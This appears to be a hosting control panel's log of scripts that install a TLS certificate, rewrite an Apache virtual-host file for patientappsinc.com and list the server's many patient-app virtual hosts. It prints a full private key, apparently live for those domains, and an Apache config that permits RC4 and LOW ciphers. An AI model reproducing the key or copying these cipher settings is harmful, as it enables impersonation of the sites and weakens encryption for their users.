fj6+/RULwYrCFmOX/QcOkWRcnl2OTMHhwsBcwO/jrPvvr9XH9mFxlQJeIJP5xvS7
qMdy5G4HIcAUfLVMawdjUyM/GxFiBUdQmBlSOWOuHwcqun9eRwsf7nGLPxFmKFyt
/riQ84Z5MG04siAirlW408WhSkbZAgMBAAGjggJbMIICVzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFA39tJHCJi9y+HewFg7FaDLb5ZluMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzk4LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AO08S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAAB
mR2d4eEAAAQDAEYwRAIgWqFligpOeersS1vxDZ4h56WbGZiSKIDCjwn9aeRtqVgC
IAQs4A/9YTEbPokpDJW+U1//3zVEXiuIUTM9CUm7JpKKAHYA3dzKNJXX4RYF55Uy
+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZHZ3iJgAABAMARzBFAiAhvrWPuGnukExx
cd1Bs5PJJV8jpjt4X08zwupndrP8QAIhAOjryoT+ZMwl8H8PAMpCnCgrEzEsFYLB
6oFjcpU+1xoIMA0GCSqGSIb3DQEBCwUAA4IBAQA5tq5cfw4VjMGMrSoI6ECCxXEl
1rt4RLcanmN96mxls07yDIAWBF6M54wRzMaE+tVpBArwjdGw73c53njLSSyboHQB
TvSBa48Df8BeWZM0d4sSpFPSBocBg7/XchT1PHbf4t/f+5PsID+xlCm92YtzfU0h
/zIIOGsmF2fZUmy+7e4WEiXceudc/Z976PA8d6WhnDjr2unLhn0CHWWQLS2EVIzs
V9Fu5HIpWb1wECceS/yE6o1iSQ7SzJcFfLJ1HeI0t47aqtNZSZqOARX1fKlQlPHh
RTEA4i1GKZQb1gwKErGN+eViNk/NI0Nn8X/Tjs09DHDACQoNesUW+Lmql/1j
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDwNgF4wMvxJ28P
Ndi3Rw64PYFsZnDnWyr9QMfiUT/JN4HAZDUysiyU5+ZzOXl+YP2r2yPe+2sskoYv
TgHpg1KVhPVIsFspcVuwYUGqz4otWeBiNF8DIULCbwHlPg2Ro89oMPOkR01z8l8w
vCEjW52N0OCKyo6eQOYZNDoCdNXoTjAJwS6ZxCuzXdY9fj6+/RULwYrCFmOX/QcO
kWRcnl2OTMHhwsBcwO/jrPvvr9XH9mFxlQJeIJP5xvS7qMdy5G4HIcAUfLVMawdj
UyM/GxFiBUdQmBlSOWOuHwcqun9eRwsf7nGLPxFmKFyt/riQ84Z5MG04siAirlW4
08WhSkbZAgMBAAECggEBAKbov8kKHiuo/PCSt81SIJZAloed/uGjZZGny7wkPLAy
U4Q9nQFm8LdfE7AIxbTc7CbYFGrCREwqW/bOu2FokJ+4TT9+2zlGvTEnwxtPLnIo
u1NBlKt2Fw9HVwfVQFRsgJejPAhwSw8/4IjakCQjaqy58Ow/py2rZrcopQ5D5MaP
BQ21s5Ll3tPB82RG+1EzsKFLRlzu14EEqW83P5Bej0v3ZRyqM32ID72A6swuFtTr
jDPgzbKTcpRkFC14iX4fo/RHUK4w2Ie5kNrIVEoXDD5QKORUt+zuPZibzmknT64z
dXoIQJb9FO01A2oxrjDYoSlNehPtZmro/feE4q3T+ekCgYEA+YgwdEYgNvOC1b/F
1SMUD+L3A5Pwb3LyicCaYn1KeZ3CyaT3WwWdYsm269Qi/rjMEUJvX8ql0ei1mul8
Y2S/Zfy/Hg8N6D6gCQEhiZzRHfyL/5vS9XVBF6PkVEgJffvubTmHesp0n551jCKo
UxjfaqJKSKZPQ75Xw5mkZKye5w8CgYEA9m/3GkYvbnManEFaSRHY7o3+PPkSpXnH
/mPllkOsiO7TeQHfN48WnToRijzwHPy8PARN3b379dIczf1pTUuECY8SfwA9tVxl
DAIw+cjm/B/0LKnA96Ufi2zcAGFtmMdZnohRvoHASsw3+jpVjQrvRoUFcqYnqaYg
WbMkkp/4M5cCgYAs2Th0PYJevgee6VfiReq+LDnfT8CgF1XWQmK9Hu26zAsNePPo
TSsLbVvOKROdGpO66mjgG6kQADZbwGlV5+6qovGqsmP6gP78f1KKzD+dlx2GdHhH
G6r2V8ObDlN+bEBfKz7ZZ/fsFGvmIviD7u2A2ehmBFYsw9I8Wqn8WjY5KwKBgBHK
NWFdLbFgd8xN33Gk6y8VawQFyvXNG8XeekVlrz/XVcbHftCo8K368iczjPXavM/s
U56tR1IQj+nC4GYnDGoQPPqUDuBXwieixNxTR3Ft8ReETZzS+7r56cvRPLMpuOt7
1cLV5QbBRU04BtL+thU2JxWGrxhNGMrA5uP6zlUTAoGAb50XiOnJEQsCgqmzL3hs
Iwu7oKeY0BL5NHw1IogHwTKtC3dlHotLQQP8P5j2ERRvqfT5MZVdehZTryHznLnV
NYW0NjCCjelPSYm4JRjSyVMDvFDsVKcXhl0RC5CYTHaHcxi8ErP+3A3IwNcGcCim
oYxg4INpiwOwUuPRw4RK9QQ=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-06 06:01:51:
chmod 755 /tmp/pkp123506; /tmp/pkp123506; rm /tmp/pkp123506
2025-09-06 06:01:51:
dir=/etc/ssl/certs
2025-09-06 06:01:51:
PUT: /tmp/pkp304100
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientappsinc_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-06 06:01:51:
chmod 755 /tmp/pkp304100; /tmp/pkp304100; rm /tmp/pkp304100
2025-09-06 06:01:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 46
<VirtualHost *:80>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientappsinc_www
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
DocumentRoot /var/www/patientappsinc_www
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_secure_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.php index.htm
</VirtualHost>
2025-09-06 06:01:51:
PUT: /tmp/pkp994940
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientappsinc_www_com.conf
TARGET=/etc/apache2/sites-enabled/patientappsinc_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientappsinc_www
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
DocumentRoot /var/www/patientappsinc_www
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_secure_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.php index.htm
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientappsinc_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf= 1'
fi
2025-09-06 06:01:51:
chmod 755 /tmp/pkp994940; /tmp/pkp994940; rm /tmp/pkp994940
2025-09-06 06:01:51:
2025-09-06 06:01:51:
PUT: /tmp/pkp516311
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-06 06:01:51:
chmod 755 /tmp/pkp516311; /tmp/pkp516311; rm /tmp/pkp516311
2025-09-06 06:01:51:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:01:51: Establishing a connection
2025-09-06 06:01:51:
PUT: /tmp/pkp744258
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-06 06:01:51:
chmod 755 /tmp/pkp744258; /tmp/pkp744258; rm /tmp/pkp744258
2025-09-06 06:01:51:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
